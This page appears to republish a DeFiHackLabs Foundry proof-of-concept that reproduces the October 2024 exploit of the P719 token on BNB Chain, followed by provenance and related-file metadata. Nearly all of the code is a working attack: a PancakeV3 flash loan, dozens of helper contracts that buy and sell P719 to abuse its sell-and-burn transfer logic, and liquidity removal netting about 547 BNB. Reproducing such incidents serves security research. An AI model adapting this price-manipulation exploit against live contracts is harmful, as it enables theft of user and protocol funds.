Public reproduction file
src/test/2024-10/P719Token_exp.sol
Public reproduction file for dataset entry P719Token.
Code
Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.
1// SPDX-License-Identifier: UNLICENSED2pragma solidity ^0.8.13;4import "forge-std/Test.sol";5import "../interface.sol";7// @KeyInfo - Total Lost : 547.18 BNB (~$312K USD)8// Attacker : https://bscscan.com/address/0xfeb19ae8c0448f25de43a3afcb7b29c9cef6eff69// Attack Contract : https://bscscan.com/address/0x3f32c7cfb0a78ddea80a2384ceb4633099cbdc9810// Vulnerable Contract : https://bscscan.com/token/0x6beee2b57b064eac5f432fc19009e3e78734eabc11// Attack Tx : https://bscscan.com/tx/0x9afcac8e82180fa5b2f346ca66cf6eb343cd1da5a2cd1b5117eb7eaaebe953b312// @Info13// Vulnerable Contract Code : https://bscscan.com/token/0x6beee2b57b064eac5f432fc19009e3e78734eabc#code14// Not verified contract but the bug lies in `transfer()` function, when tokens are transferred to P719,15// the action is processed as a sell, using a Uniswap-like swap mechanism to calculate the BNB amount to16// be swapped.17// After the swap, P719 burns the majority of sold tokens and transfers fee tokens from itself, which could18// wrongly inflates the token's price.19// More info: https://x.com/TenArmorAlert/status/184492948982398995321// @POC Author : [rotcivegaf](https://twitter.com/rotcivegaf)23// Contracts involved24address constant PancakeRouter = 0x10ED43C718714eb63d5aA57B78B54704E256024E;25address constant PancakeV3Pool = 0x172fcD41E0913e95784454622d1c3724f546f849;26address constant weth = 0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c;28address constant P719 = 0x6bEee2B57b064EAC5F432FC19009E3E78734Eabc;30contract P719Token_exp is Test {31 address attacker = makeAddr("attacker");32 MyToken myToken;34 function setUp() public {35 vm.createSelectFork("bsc", 43_023_423 - 1);36 }38 function testPoC() public {39 vm.startPrank(attacker);40 AttackerC attackerC = new AttackerC();41 vm.label(address(attackerC), "attackerC");43 // First the attacker create a owned token44 myToken = new MyToken();46 // Second create a pair in uniswap with WBNB47 vm.deal(attacker, 0.001 ether);48 myToken.approve(PancakeRouter, type(uint256).max);49 (,, uint256 liquidity) = IFS(PancakeRouter).addLiquidityETH{value: 0.001 ether}(50 address(myToken), 100 ether, 100 ether, 0.001 ether, attacker, block.timestamp51 );53 // Third create severals buy/sell contract to attack P719 contract54 attackerC.setup(address(myToken));56 // Fourth attack and sell to the created pair57 attackerC.attack();59 // Finally remove liquidity from the pair60 address factory = IFS(PancakeRouter).factory();61 address myPair = IFS(factory).getPair(weth, address(myToken));62 IERC20(myPair).approve(PancakeRouter, type(uint256).max);63 IFS(PancakeRouter).removeLiquidityETH(64 address(myToken), liquidity, 0, 547_180_977_558_295_682_131, attacker, block.timestamp65 );67 console.log("Final balance in WETH:", attacker.balance);68 }69}71contract AttackerC {72 address myToken;74 AttackerC2[] attackerC2s33;75 AttackerC2[] attackerC2s100;77 function setup(78 address _myToken79 ) external {80 myToken = _myToken;82 for (uint256 i; i < 33; i++) {83 attackerC2s33.push(new AttackerC2());84 }85 for (uint256 i; i < 100; i++) {86 attackerC2s100.push(new AttackerC2());87 }88 }90 function attack() external {91 IFS(PancakeV3Pool).flash(92 address(this), 0, 4000 ether, hex"0000000000000000000000000000000000000000000000000000000000000001"93 );94 }96 function pancakeV3FlashCallback(uint256 fee0, uint256 fee1, bytes calldata data) external {97 IFS(weth).withdraw(4000 ether);98 //uint256 supply = IERC20(P719).totalSupply();100 for (uint256 i; i < 14; i++) {101 AttackerC2 attC2 = new AttackerC2();102 attC2.buy{value: 10 ether}();103 }105 //uint256 supply = IERC20(P719).totalSupply();106 //uint256 bal = IERC20(P719).balanceOf(P719);108 for (uint256 i; i < attackerC2s33.length; i++) {109 //uint256 bal0 = IERC20(P719).balanceOf(P719);110 attackerC2s33[i].buy{value: 100 ether}();111 //uint256 bal1 = IERC20(P719).balanceOf(P719);112 }114 AttackerC2 attC2 = new AttackerC2();116 for (uint256 i; i < attackerC2s33.length; i++) {117 IERC20(P719).transferFrom(118 address(attackerC2s33[i]), address(attC2), IERC20(P719).balanceOf(address(attackerC2s33[i]))119 );120 }122 //IERC20(P719).approve(msg.sender, type(uint256).max);123 uint256 balAttC4 = IERC20(P719).balanceOf(address(attC2));125 for (uint256 i; i < attackerC2s100.length; i++) {126 IERC20(P719).transferFrom(address(attC2), address(attackerC2s100[i]), balAttC4 / 100);127 attackerC2s100[i].sell(balAttC4 / 100);128 }130 //uint256 supply2 = IERC20(P719).totalSupply();131 IFS(weth).deposit{value: address(this).balance}();133 uint256 bal3 = IERC20(weth).balanceOf(address(this));135 IERC20(weth).approve(PancakeRouter, type(uint256).max);136 //IERC20(myToken).approve(PancakeRouter, type(uint256).max);138 address[] memory path = new address[](2);139 path[0] = weth;140 path[1] = myToken;142 IFS(PancakeRouter).swapExactTokensForTokensSupportingFeeOnTransferTokens(143 bal3 - 4000 ether - fee1, 0, path, address(this), block.timestamp144 );146 IERC20(weth).transfer(PancakeV3Pool, 4000 ether + fee1);147 }149 receive() external payable {}150}152contract AttackerC2 {153 constructor() public payable {154 IERC20(P719).approve(msg.sender, type(uint256).max);155 }157 function buy() external payable {158 P719.call{value: msg.value}("");159 }161 // Used by attackerC2s33 and attackerC2s100contracts162 function sell(163 uint256 amount164 ) external {165 IERC20(P719).transfer(P719, amount);166 msg.sender.call{value: address(this).balance}("");167 }169 // Used by attackerC2s33 and attackerC2s100contracts170 receive() external payable {}171}173contract MyToken {174 constructor() {175 balanceOf[msg.sender] += 10_000_000_000_000_000 ether;176 }178 mapping(address => uint256) public balanceOf;180 mapping(address => mapping(address => uint256)) public allowance;182 function approve(address spender, uint256 amount) public virtual returns (bool) {183 allowance[msg.sender][spender] = amount;184 return true;185 }187 function transfer(address to, uint256 amount) public virtual returns (bool) {188 balanceOf[msg.sender] -= amount;189 balanceOf[to] += amount;191 return true;192 }194 function transferFrom(address from, address to, uint256 amount) public virtual returns (bool) {195 uint256 allowed = allowance[from][msg.sender];196 if (allowed != type(uint256).max) allowance[from][msg.sender] = allowed - amount;198 balanceOf[from] -= amount;199 balanceOf[to] += amount;201 return true;202 }203}205interface IFS {206 // PancakeV3Pool207 function flash(address recipient, uint256 amount0, uint256 amount1, bytes calldata data) external;209 // WETH210 function withdraw(211 uint256212 ) external;213 function deposit() external payable;215 // PancakeRouter216 function factory() external view returns (address);218 function swapExactTokensForTokensSupportingFeeOnTransferTokens(219 uint256 amountIn,220 uint256 amountOutMin,221 address[] calldata path,222 address to,223 uint256 deadline224 ) external;225 function addLiquidityETH(226 address token,227 uint256 amountTokenDesired,228 uint256 amountTokenMin,229 uint256 amountETHMin,230 address to,231 uint256 deadline232 ) external payable returns (uint256 amountToken, uint256 amountETH, uint256 liquidity);233 function removeLiquidityETH(234 address token,235 uint256 liquidity,236 uint256 amountTokenMin,237 uint256 amountETHMin,238 address to,239 uint256 deadline240 ) external returns (uint256 amountToken, uint256 amountETH);242 // PancakeFactory243 function getPair(address tokenA, address tokenB) external view returns (address pair);244}Analysis
Dataset entry
Public Foundry test for “P719Token” (2024-10-11). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.
Related files
11 linkedImports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.
- src/test/interface.solImported by this file · 6133 lines
- src/test/2024-10/AIZPTToken_exp.solSame month in the dataset · 72 lines
- src/test/2024-10/BUBAI_exp.solSame month in the dataset · 95 lines
- src/test/2024-10/CompoundFork_exploit.solSame month in the dataset · 229 lines
- src/test/2024-10/Erc20transfer_exp.solSame month in the dataset · 40 lines
- src/test/2024-10/FireToken_exp.solSame month in the dataset · 146 lines
- src/test/2024-10/HYDT_exp.solSame month in the dataset · 73 lines
- src/test/2024-10/LavaLending_exp.solSame month in the dataset · 451 lines
- src/test/2024-10/MorphoBlue_exp.solSame month in the dataset · 414 lines
- src/test/2024-10/SASHAToken_exp.solSame month in the dataset · 134 lines
- src/test/2024-10/VISTA_exp.solSame month in the dataset · 87 lines
Also imports external libraries: forge-std/Test.sol.
Listed in the source file
Listed by the source dataset, not verified by ThreatWire
- Attacker
0xfeb19ae8c0448f25de43a3afcb7b29c9cef6eff6
- Attack Contract
0x3f32c7cfb0a78ddea80a2384ceb4633099cbdc98
- Vulnerable Contract
0x6beee2b57b064eac5f432fc19009e3e78734eabc
- Attack Tx
0x9afcac8e82180fa5b2f346ca66cf6eb343cd1da5a2cd1b5117eb7eaaebe953b3
- Explorer: https://bscscan.com/address/0xfeb19ae8c0448f25de43a3afcb7b29c9cef6eff6
- Explorer: https://bscscan.com/address/0x3f32c7cfb0a78ddea80a2384ceb4633099cbdc98
- Explorer: https://bscscan.com/token/0x6beee2b57b064eac5f432fc19009e3e78734eabc
- Explorer: https://bscscan.com/token/0x6beee2b57b064eac5f432fc19009e3e78734eabc#code
- Reference: https://x.com/TenArmorAlert/status/1844929489823989953
- Reference: https://twitter.com/rotcivegaf
File record
- Name
- P719Token
- Path
- src/test/2024-10/P719Token_exp.sol
- Repository
- SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
- Commit
- 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
- Blob
- cd84d7e23565bc8c7143b2fac4334721e7c3f5ec
- Language
- Solidity
- Size
- 245 lines
- Date
- 2024-10-11
- Licence
- file header UNLICENSED; repository Apache-2.0
- Retrieved
- 2026-10-19
Provenance
Path src/test/2024-10/P719Token_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob cd84d7e23565bc8c7143b2fac4334721e7c3f5ec, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.